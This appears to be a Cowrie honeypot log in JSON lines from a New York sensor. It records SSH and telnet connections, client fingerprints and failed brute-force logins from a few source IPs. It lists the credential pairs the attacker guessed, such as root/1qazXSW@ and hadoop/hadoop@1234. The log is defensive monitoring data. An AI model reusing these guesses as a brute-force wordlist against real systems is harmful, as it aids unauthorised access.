{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:24.987774Z","src_ip":"192.109.200.237","session":"0f73cd58a9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:25.240067Z","src_ip":"192.109.200.237","session":"0f73cd58a9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.34211015701294,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:26.147220Z","src_ip":"50.6.8.71","session":"293a1ff94ff7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:26.325478Z","src_ip":"192.109.200.237","session":"0f73cd58a9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53486,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bfb29bb52f8","protocol":"telnet","message":"New connection: 50.6.8.71:53486 (10.17.0.5:23) [session: 6bfb29bb52f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:27.307801Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59368,"dst_ip":"159.203.135.109","dst_port":22,"session":"8068695ee1c2","protocol":"ssh","message":"New connection: 192.109.200.237:59368 (159.203.135.109:22) [session: 8068695ee1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:28.735262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:28.739105Z","src_ip":"192.109.200.237","session":"8068695ee1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:28.820361Z","src_ip":"192.109.200.237","session":"8068695ee1c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:29.067236Z","src_ip":"192.109.200.237","session":"8068695ee1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:30.151840Z","src_ip":"192.109.200.237","session":"8068695ee1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45496,"dst_ip":"159.203.135.109","dst_port":22,"session":"b29e57909875","protocol":"ssh","message":"New connection: 192.109.200.237:45496 (159.203.135.109:22) [session: b29e57909875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:32.278262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:32.283061Z","src_ip":"192.109.200.237","session":"b29e57909875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:32.365014Z","src_ip":"192.109.200.237","session":"b29e57909875","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:32.610797Z","src_ip":"192.109.200.237","session":"b29e57909875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:33.696252Z","src_ip":"192.109.200.237","session":"b29e57909875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.157583236694336,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:35.573804Z","src_ip":"50.6.8.71","session":"dfc7d1a3a0a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45500,"dst_ip":"159.203.135.109","dst_port":22,"session":"7556985ee2a9","protocol":"ssh","message":"New connection: 192.109.200.237:45500 (159.203.135.109:22) [session: 7556985ee2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:35.817261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:35.822118Z","src_ip":"192.109.200.237","session":"7556985ee2a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:35.904352Z","src_ip":"192.109.200.237","session":"7556985ee2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:36.285911Z","src_ip":"192.109.200.237","session":"7556985ee2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:37.371915Z","src_ip":"192.109.200.237","session":"7556985ee2a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45514,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a4cd8f390f0","protocol":"ssh","message":"New connection: 192.109.200.237:45514 (159.203.135.109:22) [session: 9a4cd8f390f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:39.395032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:39.401244Z","src_ip":"192.109.200.237","session":"9a4cd8f390f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:39.484053Z","src_ip":"192.109.200.237","session":"9a4cd8f390f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:39.731822Z","src_ip":"192.109.200.237","session":"9a4cd8f390f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:40.821573Z","src_ip":"192.109.200.237","session":"9a4cd8f390f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39090,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7e7b413933d","protocol":"ssh","message":"New connection: 192.109.200.237:39090 (159.203.135.109:22) [session: b7e7b413933d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:42.991921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:42.996373Z","src_ip":"192.109.200.237","session":"b7e7b413933d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:43.078282Z","src_ip":"192.109.200.237","session":"b7e7b413933d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:43.325662Z","src_ip":"192.109.200.237","session":"b7e7b413933d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:44.410872Z","src_ip":"192.109.200.237","session":"b7e7b413933d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.039917945861816,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:45.397130Z","src_ip":"50.6.8.71","session":"e1d48d1f8b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50676,"dst_ip":"10.17.0.5","dst_port":23,"session":"555f445e0c90","protocol":"telnet","message":"New connection: 50.6.8.71:50676 (10.17.0.5:23) [session: 555f445e0c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:45.511016Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39106,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bc1800a770a","protocol":"ssh","message":"New connection: 192.109.200.237:39106 (159.203.135.109:22) [session: 2bc1800a770a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:46.424219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:46.474089Z","src_ip":"192.109.200.237","session":"2bc1800a770a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:46.642715Z","src_ip":"192.109.200.237","session":"2bc1800a770a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:46.889459Z","src_ip":"192.109.200.237","session":"2bc1800a770a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:47.975033Z","src_ip":"192.109.200.237","session":"2bc1800a770a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.28276467323303,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:48.698089Z","src_ip":"50.6.8.71","session":"eae5e14cf31f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39116,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dfc23631c78","protocol":"ssh","message":"New connection: 192.109.200.237:39116 (159.203.135.109:22) [session: 6dfc23631c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:49.931803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:49.936563Z","src_ip":"192.109.200.237","session":"6dfc23631c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:50.020533Z","src_ip":"192.109.200.237","session":"6dfc23631c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:50.265803Z","src_ip":"192.109.200.237","session":"6dfc23631c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:51.351743Z","src_ip":"192.109.200.237","session":"6dfc23631c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34256,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddb6934d30a1","protocol":"ssh","message":"New connection: 192.109.200.237:34256 (159.203.135.109:22) [session: ddb6934d30a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:53.450478Z"}
